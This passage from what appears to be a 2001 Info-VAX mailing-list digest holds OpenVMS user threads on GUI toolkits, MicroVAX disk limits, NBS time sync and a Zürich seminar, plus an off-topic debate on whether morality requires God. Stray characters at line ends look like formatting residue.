C/C++ ? (IH > > know that GTK+/Gnome has support for multiple languages.) I have notE > > written code with either yet, but my preference is for GTK+/Gnomea- > > because of the multiple language support.o > C > > What is the current thinking in VMS Engineering with regards tos@ > > supporting languages other than C/C++ for new GUI toolkits ? > I > See the calling standard in the manuals. The SDL files would need to bedH > created so other compilers can get the definitions they need, but this3 > is VMS, not some half arsed refugee from the 70s.e >  > --> > Paul Repacholi                               1 Crescent Rd.,9 > +61 (08) 9257-1001                           Kalamunda.yB >                                              West Australia 60760 > Raw, Cooked or Well-done, it's all half baked.J > Spam-To: uce@ftc.gov,enforcement@sec.gov,sness@fcc.gov,hfurchtg@fcc.gov,$ >   mpowell@fcc.gov,gtristan@fcc.gov  % Sorry, that I have to support you ;-)H  : My preference would more be at OPENSTEP. There was once an< OPENSTEP runtime for VMS/AXP. If only one language than much# better Objective-C than C/C++/Java.p  / The fight Apple vs M$ could be interpreted as aa& Pascal/Objective-C against C/C++ case.  @ It's time to have OPENSTEP as full implementation (back) on VMS.> There are only few IDEs and component systems comparable to IB and EOF of NeXT/Apple.   ------------------------------  # Date: Thu, 03 May 2001 19:53:10 GMT 2 From: hoffman@xdelta.zko.dec.nospam (Hoff Hoffman)% Subject: Re: Need help with a 3100/76s1 Message-ID: <GGiI6.109$lP5.2498@news.cpqcorp.net>   Z In article <1dh1ftgdkqcq9i2slaegveobo5u0f7nq49@4ax.com>, MikeWJ <mjenkins@jcn.net> writes:  L :But yes, it is a 3100/76...says so, right on the front "MicroVAX 3100 M76".  K   Cool.  Please send me a picture of it, if you can -- I've never seen one  I   of these MicroVAX 3100 model 76 systems, never heard of this MicroVAX, "F   and had no idea this model MicroVAX was ever sold or manufactured.    E   That said, I am quite familiar with the VAXstation 3100 model 76...r   L :I did hook 2 more RZ24's to the scsia line, but found when accessing those E :drives and the TLZ7L on the scsib line---It redefines the word SLOW!t  #   SCSI-1 is slow by any definition.l  K :According to my "old" DECDirect catalogs, an RZ59 has a capacity of 8.9GB.i :An RZ58 has 1.3 GB.  B   I would tend to shy away from the old 5.25" SCSI disk drives, in,   favor of something somewhat more recent...  N :The other SysMgr & I figured if we could replace the RZ57's with RZ59's, and O :the RZ56's with RZ57's, it would give us more space than we had on the cluster-% :and it used 5 BA350 racks of disks. e  B   I've regularly used external RZ28 and RZ29 drives with these andC   other systems -- using an external StorageWorks enclosure -- but eB   you will want to read the FAQ discussion of the VAXstation 3100 E   series console ROM limitations before you try to configure a system I   disk  larger than 1.073 GB on any member of the VAXstation 3100 series..C   Data disks can be larger, assuming you have a sufficiently recent    version of OpenVMS VAX.     B   I would not encourage you to install these disks into the systemC   enclosure itself, as I have no idea if there is sufficient power hG   and cooling for these drives.  External enclosures -- those designed 4E   for the particular models of disks in question -- are often better     and more reliable solutions.  B   The MicroVAX 3100 series has a few early models that share this F   console ROM limit on the addressing of the system disk but -- since D   I've never heard of a MicroVAX 3100 model 76 -- I have no idea if D   this system shares the limit.  But as I expect this is really the E   VAXstation 3100 model 76 and not the MicroVAX, I expect this systeme<   shares the limit -- all VAXstation 3100 series systems do.  I   Why do I mention this MicroVAX vs VAXstation stuff?  Well, for example,eJ   the MicroVAX 3100 model 40 series is very different from the VAXstation C   3100 model 40 series -- different innards, different performance,eF   different options, different console limits and requirements, etc.  H   Care needs to be taken when specifying the system name, as various of G   the names of VAX and Alpha systems are (unfortunately) quite similar.     N  ---------------------------- #include <rtfaq.h> -----------------------------N       For additional, please see the OpenVMS FAQ -- www.openvms.compaq.com    N  --------------------------- pure personal opinion ---------------------------L    Hoff (Stephen) Hoffman   OpenVMS Engineering   hoffman#xdelta.zko.dec.com   ------------------------------  $ Date: Thu, 3 May 2001 22:02:10 -0400, From: "islandco.com" <dbturner@islandco.com>" Subject: New Oxygen VX1's in stock/ Message-ID: <tf437kj5rq4lf9@news.supernews.com>A   We sell Alpha's !t% Want to buy an Alpha or Alpha Parts ?e Go to http://www.islandco.como& Hardware for Alpha VMS, Tru64 & Linux.   Island Computers US Corporation- 2700 Gregory Streeti Savannah GA 31404- Tel: 912 447 6622- Fax:912 201 0096 sales@islandco.com   ------------------------------  % Date: Fri, 04 May 2001 00:05:40 -0400-* From: Doug Mallory <dmallory@interlog.com>( Subject: Re: NTP system time adjustment., Message-ID: <3AF22A94.9EF15FDF@interlog.com>   Jim Agnew wrote:  o > We use NBS, and it works great.  you need to offset it from greenwich time, but once you do that, it's set...c >R > jimS >c > Hunter Goatley wrote:D > >1N > > On Wed, 2 May 2001 14:21:58 GMT, "Richard L. Dyson" <rick-dyson@uiowa.edu>
 > > wrote: > >c > > >Doug Mallory wrote: > > >>L > > >> I recall seeing a freeware NTP client software package somewhere thatI > > >> allowed sync'ing the VMS system clock to the atomic time standard.iO > > >> I have been trying to find this, but don't know the name of the program.e3 > > >> Can anyone tell me the name of this package?a > > >oH > > >       I believe there are some, however just an FYI.  The PSFingerK > > >program (Penn State Finger) has an NTP client as well as LPR/LPD, etc.nK > > >I just use the NTP client and the Finger client myself.  It is trivialoJ > > >to use and set and works for both VAX and Alpha.  I know it is on the= > > >Freeware CDs or let me know and I can make it available.s > > >mH > > He may be thinking of NBS, which isn't an NTP client, but does allowH > > you to synchronize the VMS system clock with an atomic clock.  I use" > > NBS once a day instead of NTP. > >o# > > http://www.process.com/openvms/a > >e7 > > ftp://ftp.process.com/vms-freeware/fileserv/nbs.zipn > >oI > > NBS works over the Internet, as well as over a modem, if you're stillo  > > living in the dark ages. ;-) > > 
 > > Hunter
 > > ------= > > Hunter Goatley, Process Software, http://www.process.com/t= > > goathunter@goatley.com     http://www.goatley.com/hunter/t  i I would like to thank those who replied, and special thanks to Hunter, as the NBS program was exactly the]p functionallity I was looking for! I have this running now , correcting my system (and cluster) time twice a day.   Again, thanks a loto Doug./   ------------------------------   Date: 03 May 2001 23:03:46 GMT' From: dashw459@aol.comeatspam (Doug W.)o Subject: Re: Open MotifS: Message-ID: <20010503190346.18644.00003875@ng-cg1.aol.com>   Fred Kleinsorge wrote: eL > I myself would prefer us to implement Gnome/GTK+/KDE rather than invest in new versions of Motif.   Larry Kilgallen wrote:E >>Sure, experiment with other things, but finish porting Motif first.     L Years ago I attended a DEC nondisclosure on the fairly new Alpha.  The AlphaM news was exciting.  But 2 of my favorite technologies appeared doomed.  Motif M was going into mothballs to lower costs and DEC announced it was charging fort< Macro64.  I wrote off both under VMS and have not gone back.  K As a customer I now ask myself how open a technology is before using it fordN anything critical.  Are the specs in the public domain?  Is source available? M Gnome, GTK, KDE and QT (lately) are all open. The price is right and they maykO be easier (cheaper) to support on VMS.  Both GNOME & KDE have applications witheN functionality not available under VMS.  I can not remember the last time I sawM anyone using DECWRITE.  Open source would allow VMS to participate in marketseN it had to give up.  It could become a player again and allow me to ditch my PCO which currently is essential.  If small outfits like Red Hat can do it, why notg VMS?  M The Q will have to chose which way it wants to go.  But if cost, manpower andgH the future are VMS concerns, Motif does not look viable.  Also, there is@ keeping up with your competition.  I hope everyone has looked at$ www.sun.com/gnome and related pages.  L Open source is no longer experimentation, its accepted business strategy forH large vendors.  Hopefully VMS can take advantage of the opportunities itM offers.  The Motif experience shows time works against you.  If your going toe6 change strategy, do it soon or it may not matter.        ------------------------------    Date: 04 May 2001 03:47:39 +0800, From: Paul Repacholi <prep@prep.synonet.com>: Subject: Re: Test!  Please post a response if you see this- Message-ID: <87y9se6wpw.fsf@prep.synonet.com>e  3 "David J. Dachtera" <djesys.nospam@fsi.net> writes:l   > Laughingbear wrote:   L > > What exactly is so 'Open' about 'OpenVMS'?   Linux users want to know...  5 > What exactly is so "open" about "'open' systems"?  b> > VMS(/RSTS/RSX/OS400/MVS/PICK/etc.UNIX) users want to know...'                                    ^^^^i   You forgot one.b   -- u< Paul Repacholi                               1 Crescent Rd.,7 +61 (08) 9257-1001                           Kalamunda.h@                                              West Australia 6076. Raw, Cooked or Well-done, it's all half baked.H Spam-To: uce@ftc.gov,enforcement@sec.gov,sness@fcc.gov,hfurchtg@fcc.gov,#   mpowell@fcc.gov,gtristan@fcc.gov u   ------------------------------  % Date: Thu, 03 May 2001 13:38:11 +0100 - From: Roy Omond <Roy.Omond@BlueBubble.UK.Com>a. Subject: Re: Wanted: VAX or microVax in the UK1 Message-ID: <3AF15133.AC4B45E6@BlueBubble.UK.Com>u   CSABA HARANGOZO wrote: > ' > Tobias Russell <toby@taer.com> wrote:s > > Hi,s > O > > I'm looking to add a Vax to my collection of PDP11 machines I've assembled.sK > > Does anyone have a machine in the UK that they might be tempted to part 	 > > with?a > H >         Please read Adrian Lumsden's post, he is offering a small VAX.5 >         His post is following yours very closely...v   Nahh...   H Toby is looking for a *real* VAX, not some diddy-little microVAX thingy.  H He wants at least a VAX 8874, or preferably a VAX 9000-440 with 4 vector: processors with RA81 disks, TA78 tape drive, DMF-32 comms.  	 Roy Omonds Blue Bubble Ltd.           P.s. ;-)   ------------------------------  % Date: Thu, 03 May 2001 21:01:28 +0200e4 From: Didier Morandi <Didier.Morandi@Pachacamac.com>G Subject: [INFO] =?iso-8859-1?Q?Z=FCrich?= Tech Update seminar confirmed0. Message-ID: <3AF1AB09.5173C8ED@Pachacamac.com>  H The Zrich OpenVMS Technical Update seminar has been confirmed by COMPAQE Switzerland today with a letter sent to all Swiss Customers (I have aC copy in hand).  C It will take place as planned, the 18th of May in COMPAQ Dbendorf.g   Fyi.   D. -- d: The Worldwide Computer-based eXperts Network: www.wcxn.org   ------------------------------  % Date: Fri, 04 May 2001 00:22:26 +0200a) From: Christof Brass <brass@infopuls.com>tK Subject: Re: [INFO] =?iso-8859-1?Q?Z=FCrich?= Tech Update seminar confirmedd, Message-ID: <3AF1DA22.B1D7DA8F@infopuls.com>   Didier Morandi wrote:i > J > The Zrich OpenVMS Technical Update seminar has been confirmed by COMPAQG > Switzerland today with a letter sent to all Swiss Customers (I have ao > copy in hand). > E > It will take place as planned, the 18th of May in COMPAQ Dbendorf.  >  > Fyi. >  > D. > --< > The Worldwide Computer-based eXperts Network: www.wcxn.org   I just registered.   This is the time to place the   < first call for participation at the VMS pasttime activities   @ which will be held around the 18th of May in Zrich organised by me and probably Didier Morandi.S  @ To register send an email directly to a member of the organising? committee with your prefered activity (only serious ones pleaset> - no nightclub related services are offered) and your prefered	 schedule.p  > Please not that special services are offered *only* for people with long distance traveling.d   :-)n   ------------------------------  % Date: Fri, 04 May 2001 06:49:29 +0200V4 From: Didier Morandi <Didier.Morandi@Pachacamac.com>K Subject: Re: [INFO] =?iso-8859-1?Q?Z=FCrich?= Tech Update seminar confirmedn. Message-ID: <3AF234DA.1DAE9DF4@Pachacamac.com>  H I confirm. I will organize a Noters Party, ie a French dinner in a Swiss? restaurant with Italian wine and American meat and some British.E vegetables and peppermint sauce, and with Cuba cigars and if I forgeto some countries, verzeiung!  C (for those who wish to know how my German is going, now that I haveiG started at UBS Zrich for COMPAQ: mein Tee ist kalt und meine Tasse ist  z klein :-)   D.   Christof Brass wrote:  >  > This is the time to place thel= > first call for participation at the VMS pasttime activitieseB > which will be held around the 18th of May in Zrich organised by! > me and probably Didier Morandi.    Didier.Morandi@ubs.com GSM: 079-705.4670r   ------------------------------  % Date: Thu, 03 May 2001 11:30:29 -0700 ! From: Shane.F.Smith@Healthnet.com-> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%D Message-ID: <OF3E9566ED.1C06FB42-ON88256A41.0064C9E6@foundation.com>  J You are confusing "absolute" with "agreed upon". You can hold something toI be an absolute without needing everyone else to agree. If that /were/ the H case, then your own "absolute morality" would fail the test because it's not universally agreed upon.  C Members of a religion believe their morality is (for want of a more K accurate expression) a basic universal law. Members of a different religionsK disagree. By the definition you seem to give here neither is then absolute,mI it's relative. If you accept that a member of one religion's views can be,H considered absolute, you must accept that a non-religious person with anI equally strong conviction based on what he believes to be basic universal I laws, and a belief that others views are wrong, has an absolute morality..  D As I said before, you don't have to involve a god to have absolutes.   Shane           F Mihali Felipe <mihali@hess.geology.yale.edu> on 05/03/2001 08:02:30 AM  > Please respond to Mihali Felipe <mihali@hess.geology.yale.edu>   To:   Info-VAX@Mvb.Saic.Comy cc:u  ? Subject:  Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%a      2 On 3 May 2001 system@niuhep.physics.niu.edu wrote:5 > "David J. Dachtera" <djesys.nospam@fsi.net> writes:t > >/D > >Is "God" necessary in order for the concept to exist where in the4 > >harming of one person by another becomes immoral?  @ No, but it would merely be a relative morality within a mutuallyG understood code of conduct and where abberations would abound. Clearly, B people have harmed others for their own personal gain or survival.  G > Unless I have missed or forgotten something, my position differs fromtF > Mihali's in that I think that you can use any absolute,authoritative sourceC > of morality,as opposed to only God, to discuss absolute morality.o  H I don't know what you mean by "any absolute, authoritative source" otherG than (a) God. Were you referring to some other thing in particular? For:F instance, like the suggested unknown, undefined, absolute set of rules pie-in-the-sky?4     - Mihali   ------------------------------  $ Date: Thu, 3 May 2001 16:00:31 -04002 From: Mihali Felipe <mihali@hess.geology.yale.edu>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%M Message-ID: <Pine.SOL.4.10.10105031500400.18109-100000@rock.geology.yale.edu>i  5 On Thu, 3 May 2001 Shane.F.Smith@Healthnet.com wrote:v  L > You are confusing "absolute" with "agreed upon". You can hold something to< > be an absolute without needing everyone else to agree. ...  I I am not confused about what is meant by the word "absolute", and neither/A am I confusing it with "agreed upon". I would suggest you read mye statements again.   H The nature of an absolute does not depend on you or anyone holding on toJ it or else it would be relative. Absolute is what is not relative and viceH versa. As for absolute morality, it exists independently of people. That> is the nature of "absolute" as we are using it. Do you get it?   > ... If that /were/ theJ > case, then your own "absolute morality" would fail the test because it's > not universally agreed upon.  G I do not have nor claim absolute morality. You are confused by your own C prejudices against theists. I said God is the reference of absolute 	 morality.   E > Members of a religion believe their morality is (for want of a moreiM > accurate expression) a basic universal law. Members of a different religionvM > disagree. By the definition you seem to give here neither is then absolute,t > it's relative. ,  @ Religions aren't the references of absolute morality. It's God.   @ > ... If you accept that a member of one religion's views can beJ > considered absolute, you must accept that a non-religious person with anK > equally strong conviction based on what he believes to be basic universal K > laws, and a belief that others views are wrong, has an absolute morality.n  J The "having to accept the other" is the relativists dilemma, not mine. AndH again, your definitions are off: neither I nor that person has "absolute morality" - only God.d  F > As I said before, you don't have to involve a god to have absolutes.  E And as I've said before, "absolute" here does not mean "a firmly helds conviction" on whatever. ,     - Mihali   ------------------------------  $ Date: Thu, 3 May 2001 16:05:32 -04002 From: Mihali Felipe <mihali@hess.geology.yale.edu>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%M Message-ID: <Pine.SOL.4.10.10105031404440.18109-100000@rock.geology.yale.edu>o  # On Thu, 3 May 2001, Alphaman wrote:   ? > Mihali Felipe <mihali@hess.geology.yale.edu> wrote in messages > >n2 > > With humans, yes. With God, by definition, no. > L > What definition?  I can only see that if you presume your god is the final > source of these rules. ...  ! God - Supreme, *Absolute* Being. e  D which I think would be a dictionary definition as well. Would you beH kind enough to suggest where else absolute morality (if it exists) would
 come from?  ; > ...  Have you ever asked how it came up with these rules?cM > Is it because of their innate "goodness" and their universal applicability?9N > If so, then why do we need a middleman?  If not, then do we want to base ourK > lives on rules *not* based on innate goodness or universal applicability?x >nF > If they are fixed rules, why have religions changed their respectiveG > interpretations of the rules over the generations?  Because the rulescL > change?  Because some human being's "insight" into the supernatural causesN > them to be rewritten?  My guess would be none of the above -- that it's moreH > attributable to societal changes.  Which makes morality relative, or a > personal choice.  E That is exactly my point, morality is relative without an independenteG absolute reference. I am not making an apologetic for any religion, I'm C simply using reason. Taking (a) God out of the picture, that is therH eventual result: morality is relative. You must be disagreeing with some% of the atheists here and not with me.l     - Mihali   ------------------------------  % Date: Thu, 03 May 2001 14:18:26 -0700s! From: Shane.F.Smith@Healthnet.comt> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%D Message-ID: <OF32276FB3.7FD03E4F-ON88256A41.0074DD78@foundation.com>  G Religions' references of absolute morality are their gods, the gods areMK relative to their religions. Your god is your firmly held conviction, not ai0 universal absoute. Your argument defeats itself.   Shanea          F Mihali Felipe <mihali@hess.geology.yale.edu> on 05/03/2001 01:00:31 PM  > Please respond to Mihali Felipe <mihali@hess.geology.yale.edu>   To:   Info-VAX@Mvb.Saic.Com  cc:f  ? Subject:  Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%       5 On Thu, 3 May 2001 Shane.F.Smith@Healthnet.com wrote:r  I > You are confusing "absolute" with "agreed upon". You can hold somethingl to< > be an absolute without needing everyone else to agree. ...  I I am not confused about what is meant by the word "absolute", and neitherwA am I confusing it with "agreed upon". I would suggest you read myl statements again.-  H The nature of an absolute does not depend on you or anyone holding on toJ it or else it would be relative. Absolute is what is not relative and viceH versa. As for absolute morality, it exists independently of people. That> is the nature of "absolute" as we are using it. Do you get it?   > ... If that /were/ theJ > case, then your own "absolute morality" would fail the test because it's > not universally agreed upon.  G I do not have nor claim absolute morality. You are confused by your ownhC prejudices against theists. I said God is the reference of absolute 	 morality.-  E > Members of a religion believe their morality is (for want of a moregD > accurate expression) a basic universal law. Members of a different religionC > disagree. By the definition you seem to give here neither is thenu	 absolute,  > it's relative.  ? Religions aren't the references of absolute morality. It's God.s  @ > ... If you accept that a member of one religion's views can beJ > considered absolute, you must accept that a non-religious person with anK > equally strong conviction based on what he believes to be basic universalrK > laws, and a belief that others views are wrong, has an absolute morality.   J The "having to accept the other" is the relativists dilemma, not mine. AndH again, your definitions are off: neither I nor that person has "absolute morality" - only God.e  F > As I said before, you don't have to involve a god to have absolutes.  E And as I've said before, "absolute" here does not mean "a firmly held  conviction" on whatever.     - Mihali   ------------------------------  % Date: Thu, 03 May 2001 14:28:26 -0700n! From: Shane.F.Smith@Healthnet.comk> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%D Message-ID: <OF684C840D.05B1C3B2-ON88256A41.00750E58@foundation.com>  " > God - Supreme, *Absolute* Being.  I Would this be the Yaweh of Christian belief, or his Jewish counterpart? IeI suppose Thor isn't a god by your definition, since he isn't all powerful, K but I'm sure the Norsemen would disagree. I'm sure the Scientologists' XenuvH isn't a god by most definitions, but the Scientology religion (and it isD legally recognised as such here) is based on L. Ron's vision of him.  J Your definition of god is based purely on your own predudices, and doesn't match normal usage.u   Shane           F Mihali Felipe <mihali@hess.geology.yale.edu> on 05/03/2001 01:05:32 PM  > Please respond to Mihali Felipe <mihali@hess.geology.yale.edu>   To:   Info-VAX@Mvb.Saic.Comm cc:t  ? Subject:  Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%       # On Thu, 3 May 2001, Alphaman wrote:3  ? > Mihali Felipe <mihali@hess.geology.yale.edu> wrote in messageu > >:2 > > With humans, yes. With God, by definition, no. >0F > What definition?  I can only see that if you presume your god is the final  > source of these rules. ...    God - Supreme, *Absolute* Being.  D which I think would be a dictionary definition as well. Would you beH kind enough to suggest where else absolute morality (if it exists) would
 come from?  ; > ...  Have you ever asked how it came up with these rules?o> > Is it because of their innate "goodness" and their universal applicability?J > If so, then why do we need a middleman?  If not, then do we want to base ouraK > lives on rules *not* based on innate goodness or universal applicability?y > F > If they are fixed rules, why have religions changed their respectiveG > interpretations of the rules over the generations?  Because the rulesnE > change?  Because some human being's "insight" into the supernaturalM causesI > them to be rewritten?  My guess would be none of the above -- that it's. moreH > attributable to societal changes.  Which makes morality relative, or a > personal choice.  E That is exactly my point, morality is relative without an independentaG absolute reference. I am not making an apologetic for any religion, I'mtC simply using reason. Taking (a) God out of the picture, that is thewH eventual result: morality is relative. You must be disagreeing with some% of the atheists here and not with me.l     - Mihali   ------------------------------  $ Date: Thu, 3 May 2001 17:49:38 -04002 From: Mihali Felipe <mihali@hess.geology.yale.edu>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%M Message-ID: <Pine.SOL.4.10.10105031748010.18109-100000@rock.geology.yale.edu>e  5 On Thu, 3 May 2001 Shane.F.Smith@Healthnet.com wrote:g   > $ > > God - Supreme, *Absolute* Being. > K > Would this be the Yaweh of Christian belief, or his Jewish counterpart? I:K > suppose Thor isn't a god by your definition, since he isn't all powerful,lM > but I'm sure the Norsemen would disagree. I'm sure the Scientologists' XenucJ > isn't a god by most definitions, but the Scientology religion (and it isF > legally recognised as such here) is based on L. Ron's vision of him.   Irrelevant..   L > Your definition of god is based purely on your own predudices, and doesn't > match normal usage.e  ( That is normal usage. Get a dictionary.      - Mihali 	    ------------------------------  $ Date: Thu, 3 May 2001 17:51:17 -04002 From: Mihali Felipe <mihali@hess.geology.yale.edu>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%M Message-ID: <Pine.SOL.4.10.10105031750030.18109-100000@rock.geology.yale.edu>:  5 On Thu, 3 May 2001 Shane.F.Smith@Healthnet.com wrote:c > I > Religions' references of absolute morality are their gods, the gods are M > relative to their religions. Your god is your firmly held conviction, not a.2 > universal absoute. Your argument defeats itself.  G The word God is defined with or without my belief.  The argument holds.      - Mihali 	i   ------------------------------  % Date: Thu, 03 May 2001 15:35:24 -0700V! From: Shane.F.Smith@Healthnet.come> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%D Message-ID: <OFB16B4FA3.78FD1E0D-ON88256A41.007BF311@foundation.com>  J But which god? The definition varies depending on the instance. That makesC it subjective. Your argument does not hold unless there is only onerK definition. Since there is no single instance, your argument does not hold.8   Shanee          F Mihali Felipe <mihali@hess.geology.yale.edu> on 05/03/2001 02:51:17 PM  > Please respond to Mihali Felipe <mihali@hess.geology.yale.edu>   To:   Info-VAX@Mvb.Saic.Com- cc:   ? Subject:  Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%r        5 On Thu, 3 May 2001 Shane.F.Smith@Healthnet.com wrote:c > I > Religions' references of absolute morality are their gods, the gods areoK > relative to their religions. Your god is your firmly held conviction, notQ aw2 > universal absoute. Your argument defeats itself.  G The word God is defined with or without my belief.  The argument holds.      - Mihali   ------------------------------  % Date: Thu, 03 May 2001 15:33:42 -0700t! From: Shane.F.Smith@Healthnet.com-> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%D Message-ID: <OF7396B47A.8BA6B4B3-ON88256A41.007BDB23@foundation.com>  J So, Thor isn't a god? I think you'll find the term god in every definition" of him. Get a dictionary yourself.   Shane           F Mihali Felipe <mihali@hess.geology.yale.edu> on 05/03/2001 02:49:38 PM  > Please respond to Mihali Felipe <mihali@hess.geology.yale.edu>   To:   Info-VAX@Mvb.Saic.Coml cc:e  ? Subject:  Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%.    5 On Thu, 3 May 2001 Shane.F.Smith@Healthnet.com wrote:t   > $ > > God - Supreme, *Absolute* Being. >sK > Would this be the Yaweh of Christian belief, or his Jewish counterpart? IeK > suppose Thor isn't a god by your definition, since he isn't all powerful, H > but I'm sure the Norsemen would disagree. I'm sure the Scientologists' XenuJ > isn't a god by most definitions, but the Scientology religion (and it isF > legally recognised as such here) is based on L. Ron's vision of him.   Irrelevant.e  D > Your definition of god is based purely on your own predudices, and doesn'ti > match normal usage.-  ' That is normal usage. Get a dictionary.e     - Mihali   ------------------------------  # Date: Fri, 04 May 2001 00:27:06 GMT>. From: "Alphaman" <alphaman64@nixspam-home.com>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%< Message-ID: <uHmI6.55386$U4.13063667@news1.rdc1.tn.home.com>  = Mihali Felipe <mihali@hess.geology.yale.edu> wrote in messageeG news:Pine.SOL.4.10.10105031404440.18109-100000@rock.geology.yale.edu...u :c" > God - Supreme, *Absolute* Being.; > which I think would be a dictionary definition as well...s  4 Sorry, it is *not* the definition in the dictionary:  3  http://www.dictionary.com/cgi-bin/dict.pl?term=God)  K "perfect, omnipotent, omniscient", but no reference to absolute.  I fail to L see how you are using "absolute" in reference to a being/entity/supernaturalH deity.  I guess I am an absolute being, because I can read these words IG write, as you can too -- I absolutely exist.  If gods were absolute, we-G would not be able to question them as we are here (def'n #5, "Not to bet2 doubted or questioned; positive: absolute proof".)  K However, backing out of the rathole you dug, I believe you glossed over the9  important question that I asked:  = > > ...  Have you ever asked how it came up with these rules?e@ > > Is it because of their innate "goodness" and their universal applicability?L > > If so, then why do we need a middleman?  If not, then do we want to base ourg> > > lives on rules *not* based on innate goodness or universal applicability?  K Why do we need a supernatural middleman to determine morality?  If there issK an absolute morality as you claim, is your god being immoral by withholdingmL it from us (thou shall not lie -- or is that relative?)?  If morality is notL absolute and all is relative, we've already agreed that we can and do handleI that on our own just fine and dandy.  In either case, there is no need tos involve mythical beings.  D Put it this way: if there is an absolute morality, according to yourJ definition we cannot know it -- only your god can.  Ergo, if it exists, itD is irrelevant to mankind.  If absolute morality doesn't exist, it isK irrelevant.  Let's focus on the relevant: the relative morality that we canb# grasp, while striving to better it.]  H Let's get on with exploring our life and our planet and our universe andK OpenVMS to the betterment of mankind and stop worrying about whether we arerI moral enough to satisfy some mythical being who will make us burn in fire K and brimstone after we leave this real, nay, ABSOLUTE life if we don't meetuK his irrelevant, unknowable standards.  That diverts our focus, causing manytJ to forsake our world for an afterlife.  By focusing on the present realityL instead of some imagined future afterlife, we can make our universe a betterH place for us, our progeny, and our fellow creatures, and by doing so, be even more moral in the process.e     Aaron  --> Aaron Sakovich  http://members.home.net/sakovich/alphaman.html> Make April 15 just another day:        http://www.fairtax.org/& "This quote intentionally left blank."   ------------------------------  $ Date: Thu, 3 May 2001 20:35:31 -04002 From: Mihali Felipe <mihali@hess.geology.yale.edu>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%M Message-ID: <Pine.SOL.4.10.10105032028390.18109-100000@rock.geology.yale.edu>.  # On Fri, 4 May 2001, Alphaman wrote:   ? > Mihali Felipe <mihali@hess.geology.yale.edu> wrote in message0 > :8$ > > God - Supreme, *Absolute* Being.= > > which I think would be a dictionary definition as well...  > 6 > Sorry, it is *not* the definition in the dictionary: > 5 >  http://www.dictionary.com/cgi-bin/dict.pl?term=Godt >gM > "perfect, omnipotent, omniscient", but no reference to absolute.  I fail toeN > see how you are using "absolute" in reference to a being/entity/supernaturalJ > deity.  I guess I am an absolute being, because I can read these words II > write, as you can too -- I absolutely exist.  If gods were absolute, welI > would not be able to question them as we are here (def'n #5, "Not to be 4 > doubted or questioned; positive: absolute proof".) > M > However, backing out of the rathole you dug, I believe you glossed over the " > important question that I asked:  ; Not the definition in *that* dictionary. Look up "absolute"i7 http://www.dictionary.com/cgi-bin/dict.pl?term=Absoluted   Sorry dude, no rathole there.   M > Why do we need a supernatural middleman to determine morality?  If there is % > an absolute morality as you claim, u  = That is not the claim. The claim is it has to come from God. l  . > ... is your god being immoral by withholdingN > it from us (thou shall not lie -- or is that relative?)?  If morality is notN > absolute and all is relative, we've already agreed that we can and do handleK > that on our own just fine and dandy.  In either case, there is no need to  > involve mythical beings. ...        - Mihali 	i   ------------------------------  $ Date: Thu, 3 May 2001 20:55:48 -04002 From: Mihali Felipe <mihali@hess.geology.yale.edu>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%M Message-ID: <Pine.SOL.4.10.10105032047220.18109-100000@rock.geology.yale.edu>n  # On Fri, 4 May 2001, Alphaman wrote:    F > Put it this way: if there is an absolute morality, according to your8 > definition we cannot know it -- only your god can. ...  H We can not achieve it. But not know it, or which way is up or down, that is another issue.e   > ... Ergo, if it exists, itF > is irrelevant to mankind.  If absolute morality doesn't exist, it isM > irrelevant.  Let's focus on the relevant: the relative morality that we can3% > grasp, while striving to better it.e     - Mihali 	    ------------------------------  % Date: Thu, 03 May 2001 18:51:44 -0700>! From: Shane.F.Smith@Healthnet.comh> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%D Message-ID: <OFD2742674.FDE591B5-ON88256A42.0009EE70@foundation.com>  G How can something be absolute if it comes from a nonexistant source? InoJ order for your argument to have meaning, it must be agreed upon that a godD or group of gods exist. This is not agreed, that is your firmly held( opinion. This invalidates your argument.   Shanel          F Mihali Felipe <mihali@hess.geology.yale.edu> on 05/03/2001 05:35:31 PM  > Please respond to Mihali Felipe <mihali@hess.geology.yale.edu>   To:   Info-VAX@Mvb.Saic.Coml cc:o  ? Subject:  Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%t        # On Fri, 4 May 2001, Alphaman wrote:e  ? > Mihali Felipe <mihali@hess.geology.yale.edu> wrote in messagei > : $ > > God - Supreme, *Absolute* Being.= > > which I think would be a dictionary definition as well...h >t6 > Sorry, it is *not* the definition in the dictionary: >t5 >  http://www.dictionary.com/cgi-bin/dict.pl?term=Godm >sJ > "perfect, omnipotent, omniscient", but no reference to absolute.  I fail to4 > see how you are using "absolute" in reference to a being/entity/supernaturaloJ > deity.  I guess I am an absolute being, because I can read these words II > write, as you can too -- I absolutely exist.  If gods were absolute, weeI > would not be able to question them as we are here (def'n #5, "Not to bei4 > doubted or questioned; positive: absolute proof".) >0I > However, backing out of the rathole you dug, I believe you glossed overE the " > important question that I asked:  ; Not the definition in *that* dictionary. Look up "absolute"o7 http://www.dictionary.com/cgi-bin/dict.pl?term=Absolutet   Sorry dude, no rathole there.e  J > Why do we need a supernatural middleman to determine morality?  If there is$ > an absolute morality as you claim,  < That is not the claim. The claim is it has to come from God.  . > ... is your god being immoral by withholdingJ > it from us (thou shall not lie -- or is that relative?)?  If morality is not G > absolute and all is relative, we've already agreed that we can and do  handleK > that on our own just fine and dandy.  In either case, there is no need tot > involve mythical beings. ..       - Mihali   ------------------------------  # Date: Fri, 04 May 2001 02:35:50 GMTn. From: "Alphaman" <alphaman64@nixspam-home.com>> Subject: Re: [OT] RE: 80% is Good Enough for M$. Now it's 100%< Message-ID: <aAoI6.55502$U4.13153936@news1.rdc1.tn.home.com>  = Mihali Felipe 